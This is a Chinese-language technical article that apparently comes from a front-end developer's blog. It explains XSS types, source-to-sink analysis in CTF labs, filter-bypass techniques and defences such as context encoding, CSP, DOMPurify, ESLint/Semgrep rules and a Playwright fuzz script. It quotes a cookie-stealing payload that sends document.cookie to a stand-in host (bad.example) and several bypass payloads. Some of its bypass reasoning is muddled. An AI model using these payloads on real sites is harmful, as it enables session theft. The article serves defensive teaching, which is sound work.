在写了几年前端之后,我越来越确定一件事:XSS 不是那种“看一眼就懂”的漏洞,而是那种“懂了原理也未必躲得过去”的漏洞。作为前端安全领域里出现频率最高的威胁之一,XSS 看起来门槛极低——一个弹窗就能证明存在——但真正要把它讲透、防住、测全,难度远超大多数人的预期。尤其是这两年前端框架普及之后,反射型和服务端注入的讨论变少了,但 DOM 型 XSS 反而成了重灾区,很多团队连 code review 都识别不出来。
这篇文章我会把 XSS 从原理到防御完整拆一遍。不是教科书式的“三种类型分别是什么”,而是从浏览器执行权限的角度,讲清楚数据为什么会在某个瞬间变成代码;再结合靶场通关、真实业务代码里常见的漏洞写法,给出可以直接落地的防御方案和检测手段。不管你是刚接触安全的初级前端,还是负责整个应用安全建设的架构师,这篇文章应该都能提供一些值得反复看的内容。
1. 把“XSS 很简单”这句话扔进垃圾桶:一次线上事故的复盘起点
先讲一个我实际经历过的场景。某个内部运营后台,用户反馈列表页的“备注”字段突然出现大量广告弹窗。排查之后发现,问题出在一个看起来人畜无害的文本展示组件上:后台上报信息时把用户的备注原样存进了数据库,前端展示时又直接用了v-html。攻击者只是在自己的备注里填了一段<img src=x onerror="fetch('//bad.example/steal?c='+document.cookie)">,每个打开列表页的运营同事,Cookie 都通过参数拼接被发到了第三方域名。
你说这个漏洞高级吗?一点都不高级。但它的影响是实打实的:
- 运营后台的登录态被盗,攻击者可以模拟管理员操作。
- 列表页注入的恶意载荷会“污染”整条业务链路,给下游系统发送伪造数据。
- 因为数据是存储型,每个访问者都会中招,影响面被无限放大。
这就是我必须先泼冷水的原因。很多人觉得 XSS 就是“黑客往输入框里塞<script>”,但实际上,XSS 的本质是浏览器的信任机制被利用——浏览器无条件信任了文档里的 HTML 和 JavaScript,攻击者让原本应该当作“纯数据”的内容,在某个瞬间被解析成了“可执行代码”。
更麻烦的是,XSS 的攻击场景远不止弹窗和偷 Cookie:
- 会话劫持:通过
document.cookie窃取会话标识,配合 HttpOnly 未设置的漏洞直接打穿登录态。 - 模拟用户操作:在用户不知情的情况下提交表单、修改资料、发起转账。
- 键盘记录与钓鱼:注入脚本监听用户输入,或者在页面上伪造登录框诱导输入密码。
- 内网探测:用 JavaScript 发起对内网地址的请求,通过响应时间或错误信息判断内网存活主机,为后续攻击铺路。
这也是为什么 XSS 一直是前端安全里最核心的威胁。它不像 SQL 注入那样直接碰数据库,但它是攻击者获取“浏览器执行权限”的最短路径。拿到这个权限,能做的事情几乎是无限的。
从 CTF 靶场到企业 SRC 项目,XSS 的考核难度也是逐年递增的。早几年 CTFHub 上简单的反射型 XSS,直接payload打一遍就能出 flag;现在很多题目拿到的是一套完整前端代码,你得自己去读路由、找数据流、分析框架的渲染出口。单纯的“会用 payload”已经远远不够,你得具备“代码审计”层面的能力,这也是这篇文章要重点带大家解决的问题。
2. 浏览器信任链的三个断点:反射、存储与 DOM 型 XSS 的触发本质
要在实战中防住或者说利用 XSS,不能只会背分类名。核心是搞清楚一个问题:浏览器到底在哪一个环节,把不可信数据当成了代码来执行。我把这个过程理解为“信任链的三个断点”,每一个断点对应一种 XSS 类型。
2.1 反射型 XSS:服务端把输入“弹”回响应里
反射型 XSS 的链路非常好理解。服务端收到请求参数后,把参数内容直接拼到了返回的 HTML 里,浏览器解析这段 HTML 时,参数里的脚本被当作页面代码执行。
拿最常见的 PHP 示例:
<?php $keyword = $_GET['q']; echo "<p>搜索结果:$keyword</p>"; ?>浏览器访问search.php?q=<script>alert(1)</script>时,响应 HTML 里就出现了<p>搜索结果:<script>alert(1)</script></p>。这里服务端做了两件事:一是没校验输入,二是没对输出编码。信任链在“服务端拼接响应”这个环节断掉了。
靶场里这种题通常是最简单的,因为有明显回显位置。但真实业务里反射型 XSS 的利用需要诱导用户点击攻击者构造好的 URL,所以它的危害往往被低估。很多团队会说“我们业务是登录后才能搜索的,攻击者拿不到用户 Cookie”,但实际上反射型 XSS 同样可以结合 CSRF 打接口,或者通过window.open钓鱼甚至账号勒索。
2.2 存储型 XSS:数据入库,祸害所有访客
存储型 XSS 和反射型的区别只在一个地方:恶意脚本被持久化存储,后续每次有人访问相关页面都会执行。评论、昵称、签名、公告、富文本内容,凡是“进数据库、再展示”的功能都是高发场景。
存储型 XSS 最可怕的是它不需要二次诱导,攻击者提交一次,受害者访问自然中招。更极端的案例是 XSS Worm(XSS 蠕虫):恶意脚本可以读取当前用户页面上的关键信息,自动发布包含同样攻击载荷的新内容,实现类似病毒的自我复制。早在 2005 年 Samy 蠕虫就让 MySpace 在几小时内瘫痪,这个案例即使放在今天,对任何社区类产品的安全设计都仍有警示意义。
2.3 DOM 型 XSS:客户端数据的“星火燎原”
DOM 型 XSS 的断点不在服务端,而在浏览器自己的 DOM 操作链路上。攻击者把恶意内容放进 URL 参数、window.name、document.referrer,甚至postMessage的消息数据里,页面里的 JavaScript 读取了这些不可信来源的数据,然后通过innerHTML、document.write、eval之类的 API 把它写进了可执行区域。
举一个很常见的前端路由场景:
<script> const params = new URLSearchParams(window.location.search); const greeting = params.get('name'); document.getElementById('hello').innerHTML = '你好,' + greeting; </script>访问index.html?name=<img src=x onerror=alert(document.cookie)>时,页面完全不需要服务端参与,innerHTML就会把<img>渲染出来并触发onerror。注意,这个过程中HTTP 响应里的 HTML 是完全正常的,恶意载荷只存在于浏览器内存的 DOM 操作里,所以服务端 WAF、响应内容检测全都会失效。
这张对比表建议直接收藏,排查问题时非常有用:
| 类型 | 注入位置 | 恶意脚本生命周期 | 是否经过服务端 | 典型场景 | 排查难度 |
|---|---|---|---|---|---|
| 反射型 | 服务端响应 HTML | 一次请求,即时触发 | 是 | 搜索回显、错误提示、参数回填 | 低 |
| 存储型 | 数据库存储内容 | 每次访问该页面均触发 | 是 | 评论、昵称、富文本、公告 | 中 |
| DOM 型 | 浏览器 DOM API | 取决于页面逻辑,可反复触发 | 通常不经过 | 路由参数、postMessage、iframe消息 | 高 |
理解这三个断点之后,你会发现一个关键结论:XSS 的核心矛盾不是“过滤脚本”,而是“没有在正确的上下文边界做区分”。服务端把参数拼进 HTML 时候的边界,和前端把 URL 参数拼进innerHTML时候的边界,各自需要完全不同的转义策略。这也是很多团队“堵了又堵还能被打穿”的根本原因。
3. DOM 型 XSS 的隐蔽数据流:从 Source 到 Sink 的靶场实战排查路径
现在我们把重点放在 DOM 型 XSS 上。为什么单开一章?因为最近几年的靶场题目,比如 CTFHub 的 DOM 型 XSS 关卡,以及实际业务中大量前端框架项目的漏洞报告,都在反复印证一个趋势:DOM 型 XSS 已经成为前端安全最容易被忽视、也最难自动化检测的盲区。
3.1 Source 和 Sink:一条数据流的两端
要分析 DOM 型 XSS,脑子里必须时刻装着两个概念:
- Source(数据源):不可信的输入入口。攻击者能直接控制内容的地方。
- Sink(汇聚点/执行点):数据最终被当成 HTML、JavaScript 或 URL 执行的地方。
两者连起来就是一条完整的攻击路径。只要攻击者能同时控制 Source,并且页面中存在一条从 Source 流向 Sink 的分支,漏洞就成立了。
常见的 Source 包括:
location.href location.search location.hash location.pathname document.referrer window.name document.cookie postMessage 事件中的 event.data常见的 Sink 则分几个层次:
// HTML 渲染类 element.innerHTML = data; element.outerHTML = data; document.write(data); element.insertAdjacentHTML('beforeend', data); // JavaScript 执行类 eval(data); new Function(data); setTimeout(data, 0); setInterval(data, 100); // 跳转类 location.href = data; location.assign(data); location.replace(data); // 其他容易被忽视的 iframe.src = data; element.src = data; // 配合 javascript: 伪协议 element.setAttribute('href', data); // javascript: 协议判断一个 Sink 是否危险,不能只看 API 名字,还要看传入内容在哪个上下文。同样是data,放进textContent是安全的,放进innerHTML就危险;放进eval之前跟上下文无关地拼接数字,也可能被构造出可执行代码。
3.2 靶场思路:先把代码数据流理清再动手
我记得在 CTFHub 的 DOM 型 XSS 关卡里,很多人第一反应是往 URL 后面塞<script>alert(1)</script>,结果毫无反应,就开始怀疑是不是“题目环境坏了”。实际上,正确的排查路径是这样的:
第一步,读前端代码,找所有 Sink。用开发者工具全局搜索innerHTML、outterHTML、document.write、eval这些关键字,把页面里所有可执行 API 拉出来。
第二步,从每个 Sink 往回追,找出它的上游 Source。比如document.getElementById('result').innerHTML = parseInt(location.hash.slice(1)) || '0';,这个链路就是location.hash→parseInt→innerHTML。虽然parseInt会把非数字变成 NaN,但攻击者用#0</div><img src=x onerror=alert(1)>这种“闭合标签再开新标签”的 payload,配合一定的 HTML 实体混淆,仍然可能打到注入点。
第三步,判断执行上下文,构造 payload。如果数据拼在标签属性里,就要先闭合引号,再上事件属性;如果拼在标签内部文本,就用<img>、<svg>这种能把脚本挂到事件上的元素;如果拼在 JavaScript 字符串里,第一个想法不是</script>,而是尝试'或\的转义逃逸。
第四步,验证并缩小触发条件。打开控制台观察报错,逐字符调整 payload,直到证明执行路径完整可用。
这套思路不仅适用于靶场,也适用于真实业务代码审计。你日常 review 时看到innerHTML,先别急着打回,把数据流追一遍再下结论,往往能发现真正能利用的链路。
3.3 框架时代的隐性 Sink:v-html 与 dangerouslySetInnerHTML
前端框架普及之后,原生innerHTML在业务代码里变少了,但框架提供的“原始 HTML 插入”接口反而成了新的重灾区。Vue 里的v-html、React 里的dangerouslySetInnerHTML、Angular 里的innerHTML绑定,本质都是跳过框架默认转义、直接走 HTML 渲染通道。
框架默认转义是安全的,这个思路没问题:文本内容、属性内容要编码成字符串,而不是作为 HTML 结构插入。但只要能避开默认转义,框架本身不会帮你拦截:
// React 示例:用户可控内容被塞进 dangerouslySetInnerHTML function UserBio({ bio }) { return <div dangerouslySetInnerHTML={{ __html: bio }} />; }<!-- Vue 示例:搜索关键词高亮功能变成漏洞入口 --> <template> <div v-html="highlightKeyword(searchResult)"></div> </template>Highlight 功能是重灾区。很多团队为了实现“搜索词高亮”,会把用户输入的搜索词拼进 HTML 字符串再v-html渲染。更好的做法是先用纯文本文案处理,再对高亮部分用包裹标签做样式,而不是直接把输入拼进模板。
我在团队里定了条铁律:业务代码默认禁用v-html和dangerouslySetInnerHTML,如有特殊场景必须走安全组件封装,且封装内部必须使用 DOMPurify 之类的白名单清洗库。如果只是想把《纸上得来终觉浅》这句话执行到位,这条规则就是第一步。
4. 谁说 XSS 只有<script>标签:过滤器绕过与攻击面重估
前面讲原理,现在讲对抗。防御方最常犯的错误,是把 XSS 防护简化成“拦截<script>标签”。而攻击方这边,研究绕过的时间比研究基础 payload 的时间多得多。这不是鼓励你去绕防御,而是只有理解绕过思路,才能在写防御规则时不被轻易打穿。
4.1 黑名单过滤器的四个典型盲区
很多网站会在服务端或者前端写一层简单过滤,比如“去掉<script>”或者“去掉alert”。这类黑名单思路的突破口往往集中在:
第一,标签黑名单之外的事件属性。如果我方只过滤了<script>,攻击者可以使用<img src=x onerror=alert(1)>、<svg onload=alert(1)>、<body onpageshow=alert(1)>。事件属性本质上就是 HTML 标签里的一段 JavaScript,只要标签能通过,脚本就还在。
第二,编码与大小写变形。<script>如果被替换成空字符串,攻击者可以构造<scr<script>ipt>,经过过滤函数删除中间“<script>”后,剩下的正好是<script>。大小写sCrIpT也能绕过部分大小写敏感的正则;HTML 实体script、<script>也能在渲染时被浏览器正常解析。
第三,伪协议与执行上下文的变化。即使攻击者把javascript:协议完全干掉了,svg、math、iframe的src属性仍可能加载外部脚本;meta标签的http-equiv="refresh"可以跳转到攻击者控制的页面;CSS 表达式这种老古董在某些遗留浏览器里仍然能用。
第四,长度与格式限制下的“拆解”。有些场景只截取了前 N 个字符,攻击者通过分段提交、中文字符填充、URL 编码展开等方式,把 payload 拆散后又在浏览器侧组合起来。
4.2 一个真实的绕过示例:过滤“onerror”之后
假设服务端的过滤器会删除onerror字符串,很多同学会觉得安全了。但如果页面是这样渲染的:
<img src="x" onerror="alert(1)">攻击者可以直接写:
<img src="x" onerror=alert(1)>没有引号,正则里如果没有做\b边界匹配,onerror仍然会被匹配吗?实际上它匹配的是字符串,不带引号也照样命中。那继续换:
<img src=x oNerror=alert(1)>大小写绕过如果不行,很多过滤器会做“循环删除”,但不会考虑嵌套:
<img src=x onerrrorororror=alert(1)>某些过滤器删除第一次匹配到的error后,剩下的onerror又拼了起来,如果只删除一次,就会被绕过。所以滤波器要真正安全,必须走“递归删除+重新检查”,并且最好回到“允许白名单元素、白名单属性”的思路上,而不是“禁掉已知危险词”。
4.3 Mutation XSS(mXSS):浏览器解析差异带来的意外
近两年还有一个容易被忽视的攻击面叫 mXSS(Mutation XSS)。核心思路是:攻击者提交的内容在某个过滤环境里看着完全无害,但浏览器在渲染时会自动修正 HTML,把“无害片段”变异成可执行脚本。
一个经典例子是有时用<noscript>或<style>包裹一段 HTML,解析器会把它当作文本节点,不会执行内部脚本;但页面后续通过innerHTML取出来再塞到另一个上下文时,解析规则改变,内部 HTML 被重新解析成元素标签,事件就触发了。
这类问题很难靠前端过滤解决,因为过滤器和浏览器各自对 HTML 的理解不一致。唯一相对稳妥的做法是:富文本清洗必须使用专门维护的库(如 DOMPurify),并且保证清洗结果在浏览器里二次确认,而不是自己写正则加黑名单。
4.4 攻击面被低估的“非主流入口”
除了大家熟悉的 URL 参数和表单输入,这些 Source 也在真实攻击里反复出现:
window.name:如果页面用window.open打开了攻击者控制的页面,攻击者可以在自己的页面上设置window.name,再让主页面跳转到目标漏洞页。因为window.name在跨域重定向下仍然保留,直接成为 DOM 注入源。postMessage:很多页面上了 SPA 之后都会监听postMessage做跨域通信,如果没有对event.origin做白名单校验,攻击者可以在自己域名下iframe目标页面,向它发送任意消息。消息内容一旦流向 Sink,就是一条完整的攻击链。document.cookie:部分页面会在读取某个自定义 Cookie 后渲染内容。Cookie 虽然一般不能跨域设置,但子域投毒、XSS 前置辅助、同域恶意页面等场景都能把它变成可控输入。
看清楚了没?“多一层过滤”很容易给人一种“我们已经安全”的错觉。真正的安全不是靠黑名单堆出来的,而是靠“边界划分”和“白名单约束”。
5. 防御体系的正确姿势:上下文编码、CSP 与 DOM 规范三支柱
聊完攻击,终于进入防御核心。我在不同团队落地过很多次 XSS 防护方案,最后沉淀下来的框架非常清晰:输出编码、CSP 策略、DOM 操作规范。三个支柱缺任何两个,都只能防一半。
5.1 上下文感知编码:同样的数据,不同的上下文要有不同的逃逸姿势
这是最容易理解、也最容易做错的一件事。你以为“把<转成<”就万事大吉了?不,编码必须和上下文匹配。同样是用户可控内容userInput:
- HTML 元素内容上下文,例如
<div>{userInput}</div>,需要把& < > " ' /转成 HTML 实体。 - HTML 属性上下文,例如
<input value="{userInput}">,需要同时考虑属性值的引号闭合,做 HTML 属性编码,并且要避免把引号、尖括号、反引号以外的字符当成“安全字符”放行。 - JavaScript 字符串上下文,例如
var name = "{userInput}";,HTML 实体编码在这里没用,因为浏览器解析完 HTML 之后,JavaScript 拿到的是<而不是<——要转义的是\'"/和换行这些 JavaScript 字符串终止符。 - URL 上下文,例如
<a href="{userInput}">,特殊字符要做 URL 编码,同时要拦截javascript:、data:、vbscript:等伪协议。
很多团队用“统一的 HTML 实体编码函数”去处理所有输出,在 JavaScript 上下文里就会漏掉反斜杠和单引号,攻击者只要配合\转义,就能逃逸出字符串重新构造代码。深究细节才是防御成败的关键。
服务端语言一般都有成熟的上下文编码库,比如 Java 里 OWASP Java Encoder 提供的Encode.forHtml()、Encode.forJavaScript()、Encode.forJavaScriptAttribute();PHP 里也有htmlspecialchars配合ENT_QUOTES的用法。前端同样要注意,textContent天然就是安全的,能不用innerHTML就不用。
5.2 CSP:给“即使被注入”加一道绝对防线
编码可以防止大多数注入,但总会有漏网之鱼。这时候必须靠 Content Security Policy(CSP)把“脚本执行”这个最终环节锁死。
一份基础但真正有效的 CSP 长这样:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-9a7d3f6e2b1c'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; report-uri /csp-report;关键点一个一个说:
script-src是最核心的指令。'unsafe-inline'千万别写。如果业务里有内联脚本和事件处理器,必须用nonce(每个响应随机生成一次)或者hash(脚本内容 SHA-256 哈希)来放行。Nginx 或中间件需要给每个 HTML 响应注入一次性 nonce,前端模板里引用脚本时加上nonce属性。object-src 'none'可以堵住<object>、<embed>这类冷门但危险的插入点。base-uri 'self'防止攻击者通过<base href="//evil.com">改写页面资源基地址。frame-ancestors当心的是点击劫持和部分跨域复用场景。
再进阶一点,现代浏览器可以启用strict-dynamic。它的含义是:只要是通过已经被 nonce 放行的脚本动态加载的脚本,也自动放行。这样就能兼容主流打包器的动态 chunk 加载,同时不再需要维护长名单的外部 CDN 域名。不过strict-dynamic会自动忽略白名单域名,两者不能同时表述,一般我会在报告中提示团队先做 report-only 观察,再正式切强制模式。
CSP 不是灵丹妙药,它最大的价值在于把 XSS 的“执行”堵住,即使注入发生,恶意脚本也很难被浏览器直接执行。加上report-uri之后,它又是一个持续发现漏洞的监控器,一举两得。
5.3 前端 DOM 安全规范:把“危险操作”逼进死角
CSP 和输出编码是系统层防御,业务代码的规范才是最贴近开发者的那一道墙。
首先,能用textContent就不用innerHTML,能用框架自带的插值就用插值。Vue 模板里的{{ userInput }}、React 的{userInput},这些默认行为就是安全的,因为框架会对字符串做转义。
其次,凡是需要插入富文本,一律走清洗组件。我在一个运营后台项目里把一个v-html的富文本展示组件改成了这样:
<template> <div ref="richText" class="rich-text"></div> </template> <script> import DOMPurify from 'dompurify'; export default { props: { rawHtml: { type: String, default: '' } }, mounted() { // 先清洗,再注入 this.$refs.richText.innerHTML = DOMPurify.sanitize(this.rawHtml, { ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'], ALLOWED_ATTR: ['href', 'target', 'rel'] }); } }; </script>注意ALLOWED_TAGS出现了a标签,所以还要配合href属性校验,不能让javascript:伪协议和data:协议混进来:
DOMPurify.sanitize(this.rawHtml, { ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i });再次强调:不要自己写正则清洗 HTML,永远使用经过社区广泛验证的库。原因就是我前面说的 mXSS,浏览器的 HTML 解析器根本不是几条正则能模拟的。
最后,JSON 数据注入要用安全姿势。很多团队为了让首屏渲染更快,会把后端数据直接拼成 JavaScript 变量塞进页面,例如:
<script>var initialData = { ... };</script>如果数据来自不可信来源,</script>拼接就能直接逃逸。更稳的做法是把数据放在带特定type的 script 标签里:
<script type="application/json" id="initial-data">{"name":"<script>alert(1)</script>"}</script>然后通过JSON.parse(document.getElementById('initial-data').textContent)读取。因为浏览器不会把application/json的 script 内容当 JavaScript 执行。
5.4 后端补充措施:别只盯着前端
XSS 防御不仅是前端的事。后端至少还要做三件事:
- 对用户输入按业务规则做入参校验(长度、类型、格式),但不依赖校验来防 XSS。
- 对输出统一按上下文编码,不要让前端传来的
<script>原样存库再原样返回。 - 给所有响应设置
Content-Type: text/html; charset=utf-8,并加上X-Content-Type-Options: nosniff,避免浏览器对响应内容做“内容嗅探”导致新上下文里的解析变化。
其实很多 DOM 型 XSS 之所以发生,正是因为前后端都在“各扫门前雪”,都认为该对方负责。事实上,只要有一端把边界守住了,漏洞就不成立。
6. 把 XSS 检测塞进开发流水线:静态扫描、动态验证与上线监控
防御做完了,怎么长期保证它不退步?靠自觉不够,要在“流程”里埋检测点。这一章分享我比较常用的三套检测手段,以及它们是如何配合的。
6.1 静态扫描第一阶段:ESLint 与代码规则
前端团队最推荐的起步方案是 ESLint。在现有工程里配上eslint-plugin-no-unsanitized和eslint-plugin-security,就能第一时间拦住大量危险写法。
eslint-plugin-no-unsanitized的核心规则是:
- 检测
innerHTML =、outerHTML =、document.write()、insertAdjacentHTML这类操作中是否出现变量、函数调用,而不是静态字符串。如果是,直接报 error。 - 检测
v-html指令在 Vue 里的使用是否可追踪。
eslint-plugin-security则主要检测eval、new Function、child_process.exec这类“动态执行”风险。虽然前端代码里用 eval 的少了,但在低代码平台、在线编辑器这类项目里仍然很常见。
配置示例:
{ "plugins": ["no-unsanitized"], "rules": { "no-unsanitized/method": "error", "no-unsanitized/property": "error" } }这套方案的问题是只能发现“使用了危险 API”,不能判断“这个 API 到底是否会被攻击者控制”。所以静态扫描只能把入口收窄,真正的判断还是要靠人。
6.2 静态扫描第二阶段:Semgrep 的 Source 到 Sink 规则
如果团队有安全工程能力,我推荐用 Semgrep 写数据流规则。Semgrep 不是正则,它能识别变量赋值、函数调用链和控制流,比 ESLint 的判断维度高一整个量级。
一个简单的规则示例(识别location.hash流到innerHTML):
rules: - id: dom-xss-location-hash-to-innerhtml languages: [javascript, typescript] message: Potential DOM XSS: data from location.hash flows to innerHTML severity: WARNING pattern-either: - pattern: | $el.innerHTML = $X; - pattern: | $el.outerHTML = $X; metavariable-regex: metavariable: $X regex: location.*真实项目里要追多个中间变量、跨文件调用,规则会复杂很多。但从实用角度讲,Semgrep 社区已经有不少现成的 XSS 规则集可以直接参考,比我上面这个示例完善得多。
6.3 动态验证阶段:无头浏览器与 fuzz payload
静态扫描跑完,你手上应该有一串“高危位置清单”。下一步是动态验证,用 Playwright 或者 Puppeteer 起无头浏览器,往 URL 里注入不同的 fuzz payload,再检查页面里有没有新增的alert、prompt或者 DOM 结构变化。
我一般会用这样一个小工具脚本做回归测试:
const { chromium } = require('playwright'); const payloads = [ '<script>window.__xss=1</script>', '<img src=x onerror=window.__xss=1>', '<svg onload=window.__xss=1>', '"><img src=x onerror=window.__xss=1>', 'javascript:window.__xss=1' ]; (async () => { const browser = await chromium.launch(); const page = await browser.newPage(); for (const payload of payloads) { const url = `http://localhost:3000/?q=${encodeURIComponent(payload)}`; await page.goto(url, { waitUntil: 'networkidle' }); const res = await page.evaluate(() => ({ hasXss: window.__xss === 1, outerHTML: document.body.outerHTML })); console.log(payload, res.hasXss ? 'VULNERABLE' : 'safe'); } await browser.close(); })();注意 payload 不能只测原样注入,还要做 URL 编码、HTML 实体编码、大小写混写、拆词重组等多轮变化。真实环境里最容易确认漏洞的,就是先插一个“只有攻击成功才会留下痕迹”的探针,再进 DOM 里检查探针是否存在。
6.4 上线监控阶段:CSP report-only 与错误上报联动
项目上线后,CSP 一定要在 report-only 模式跑一段时间。所谓 report-only,就是浏览器会把违规行为上报,但不会实际拦截脚本执行。这个阶段收集的违规报告,往往能暴露出代码里连静态扫描都没发现的边缘场景。
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report;收集到的报告可以用 Sentinel、Sentry 或者定制告警服务做结构化分析。一条“refused to execute inline script”的报告,背后可能就对应一次 XSS 注入尝试。持续盯住这类告警,团队才能在第一时间发现新风险,而不是等用户被攻击了才赶工补洞。
6.5 靶场通关带来的最大启示:从提交测试到重心前置
最后聊回靶场。我一直觉得 XSS 靶场通关的价值不在“刷了多少题”,而在训练一种反射:拿到一个输入可控的地方,大脑自动开始追踪数据流向、判断上下文、构造 payload、验证执行。这是安全测试人员和技术负责人最该具备的素质。
意外的是,在带团队做安全建设时我发现,很多经验丰富的前端工程师反而不熟悉这套思维。他们会认真写业务代码,却在 review 涉及用户输入的渲染逻辑时不够敏感。所以我会建议大家,尤其是新手,先拿 CTFHub 这类靶场练手,通关之后再去读自己项目的线上代码,尝试当一回“假想攻击者”,在仓库里找出三条可疑的innerHTML数据流。这个视角切换,比很多安全培训都有效。
我的实战体会是:XSS 问题的核心从来没有变过,它始终是关于“边界”的问题——数据与代码的边界、服务端与客户端的边界、框架能力与开发习惯的边界。谁把边界守住了,谁就能在攻击者面前多一道墙;谁把边界模糊了,再花哨的框架也挡不住一个<img onerror>的裸奔。